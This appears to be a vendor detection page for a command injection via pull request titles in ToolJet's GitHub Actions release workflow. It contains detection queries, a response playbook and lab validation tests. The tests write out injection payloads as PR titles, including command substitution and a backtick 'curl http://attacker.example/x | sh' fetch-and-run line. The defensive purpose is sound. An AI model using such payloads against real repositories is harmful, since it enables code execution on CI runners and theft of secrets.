Detect ToolJet Release Workflow Command Injection via PR Title (CVE-2026-137964) in Elastic Security
Detects exploitation of CVE-2026-137964, a command injection (CWE-94) in ToolJet's GitHub Actions release workflow prior to version 3.21.96-LTS. The vulnerable workflow interpolates the pull request title directly into a shell `run:` step (e.g. via `${{ github.event.pull_request.title }}`), allowing an attacker who can open or edit a pull request with a crafted title to inject arbitrary shell commands that execute in the CI runner context, potentially exfiltrating `GITHUB_TOKEN`, repository secrets, or signing credentials. This detection hunts for anomalous PR titles containing shell metacharacters/command-substitution syntax, and for runner-side behavioral indicators (unexpected network egress, secret access, or child process spawns) during release workflow execution.
MITRE ATT&CK
- Tactic
- Initial Access Execution Exfiltration
Elastic Detection Query
// df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence
any where event.dataset == "github.audit" and
github.action in ("pull_request.opened", "pull_request.edited", "pull_request.reopened") and
github.pull_request.title regex~ """.*(\$\(|`|\$\{IFS|&&|\|\||;|<\(|>\().*""" EQL rule matching GitHub audit pull request events whose title contains shell command-substitution or chaining syntax.
Data Sources
Required Tables
False Positives & Tuning
- Code-related PR titles that reference shell syntax legitimately.
- Backtick-delimited markdown code in titles.
- Bot-generated titles with special characters.
Other platforms for CVE-2026-137964
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate command injection via PR title in a lab release workflow
Expected signal: GitHub audit log records a pull_request.opened event with a title containing '$(' command-substitution syntax.
- Test 2 Reproduce vulnerable workflow interpolation locally with act
Expected signal: Runner process telemetry shows an unexpected child process (touch) spawned from the workflow shell step, and the file /tmp/argus_injected_137964 is created.
- Test 3 Edit existing PR title to inject payload
Expected signal: GitHub audit log records a pull_request.edited event with a title containing backtick command-substitution and a piped shell download.
Response Playbook
Triage
- Retrieve the flagged pull request and inspect its full title for command-substitution syntax (`$(...)`, backticks, `${IFS}`, `&&`, `;`, process substitution). Confirm whether the title would reach a shell `run:` step in the release workflow.
- Review the ToolJet (or affected fork's) `.github/workflows/` release workflow files to confirm whether `github.event.pull_request.title` is interpolated directly into a `run:` block, the vulnerable pattern for CVE-2026-137964.
- Check GitHub Actions run history for the release workflow triggered by the flagged PR; examine the job logs for the step that echoes/uses the PR title and look for evidence of injected command execution.
- Identify the PR author and assess their trust level (external contributor vs. maintainer) and whether the workflow runs with `pull_request_target` or exposes secrets to fork-originated events.
Containment
- Immediately cancel any in-progress release workflow runs triggered by the suspicious PR and disable the vulnerable workflow until it is patched.
- Rotate any secrets, deploy keys, signing credentials, and `GITHUB_TOKEN`-adjacent PATs that were accessible to the compromised workflow run.
- Close or lock the malicious pull request and restrict workflow execution for external contributors (require maintainer approval for workflows on PRs).
Evidence Collection
- Export the full GitHub Actions workflow run logs for the triggered release job, including the raw PR title and any step output showing command execution.
- Capture the PR metadata (author, title edit history via the audit log, source branch/fork, timestamps) and the exact workflow YAML version at time of execution.
Escalation Criteria
- !Escalate to incident response if workflow logs show evidence that injected commands executed and accessed secrets, `GITHUB_TOKEN`, or performed outbound network connections.
- !Escalate to the security team and consider supply-chain compromise handling if any rotated credential had write access to package registries, release artifacts, or production deployment targets.
Investigation Guide
Forensic Artifacts
- >
GitHub Actions workflow run logs and job step output for the triggered release workflow. - >
GitHub audit log entries for pull_request.opened/edited events including title edit history. - >
Runner-side process, network, and filesystem telemetry during the workflow run window.
Tuning Guidance
Baseline normal PR title conventions for the repository and allowlist bot authors (e.g. dependabot[bot], renovate[bot]) whose titles often contain version strings with special characters. Reduce false positives by narrowing the metacharacter set to high-signal command-substitution tokens (`$(`, backticks, `${IFS`) and by correlating with actual release-workflow triggers rather than alerting on title content alone. For repositories that have upgraded to ToolJet 3.21.96-LTS or patched the workflow to pass the title via an environment variable, lower severity to informational since interpolation no longer occurs.
Hunting Queries
Hunts across GitHub audit and workflow events for pull request titles carrying shell metacharacters that could reach a vulnerable release workflow.
// df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence
GitHubAuditLogs | where Action startswith "workflows" or Action startswith "pull_request" | extend PrTitle = tostring(AdditionalFields.pull_request_title) | where PrTitle has_any ("$(", "`", "${IFS", "&&", ";") | project TimeGenerated, Actor, Repo, PrTitle, Action ``` df00tech DF00-2f2bf7a682 · https://df00tech.com/detections/CVE-2026-137964 · licence: https://df00tech.com/detections/licence ```
index=github (action=pull_request.* OR action=workflows.*) | eval pr_title=coalesce('pull_request.title', pr_title) | where match(pr_title, "(\$\(|`|\$\{IFS|&&|;)") | table _time actor repo pr_title action Atomic Red Team Tests
Creates a pull request whose title contains a command-substitution payload against a disposable test repository running a workflow that mirrors the vulnerable ToolJet release workflow pattern.
Command
gh pr create --repo "$TEST_ORG/tooljet-cve-lab" --title 'Release $(id > /tmp/argus_poc_137964.txt)' --body 'CVE-2026-137964 lab test' --head test-branch --base main Cleanup
gh pr close --repo "$TEST_ORG/tooljet-cve-lab" --delete-branch test-branch; rm -f /tmp/argus_poc_137964.txt Expected Telemetry
GitHub audit log records a pull_request.opened event with a title containing '$(' command-substitution syntax.
Expected Detection
The detection fires on the pull_request.opened event whose title matches shell metacharacter patterns.
Runs a minimal GitHub Actions workflow that interpolates ${{ github.event.pull_request.title }} into a run step using nektos/act with a crafted event payload to confirm command execution in the runner.
Command
echo '{"pull_request":{"title":"Release $(touch /tmp/argus_injected_137964)"}}' > /tmp/event.json && act pull_request -e /tmp/event.json -W .github/workflows/release.yml Cleanup
rm -f /tmp/argus_injected_137964 /tmp/event.json Expected Telemetry
Runner process telemetry shows an unexpected child process (touch) spawned from the workflow shell step, and the file /tmp/argus_injected_137964 is created.
Expected Detection
Behavioral monitoring detects an anomalous child process spawned during the release workflow run, and the PR title content detection flags the payload.
Edits the title of an existing pull request to insert a shell injection payload, simulating an attacker who gains edit access to an open PR that will re-trigger the vulnerable workflow.
Command
gh pr edit 1 --repo "$TEST_ORG/tooljet-cve-lab" --title 'docs: update `curl http://attacker.example/x | sh`' Cleanup
gh pr edit 1 --repo "$TEST_ORG/tooljet-cve-lab" --title 'docs: update readme' Expected Telemetry
GitHub audit log records a pull_request.edited event with a title containing backtick command-substitution and a piped shell download.
Expected Detection
The detection fires on the pull_request.edited event matching backtick and pipe-to-shell metacharacter patterns.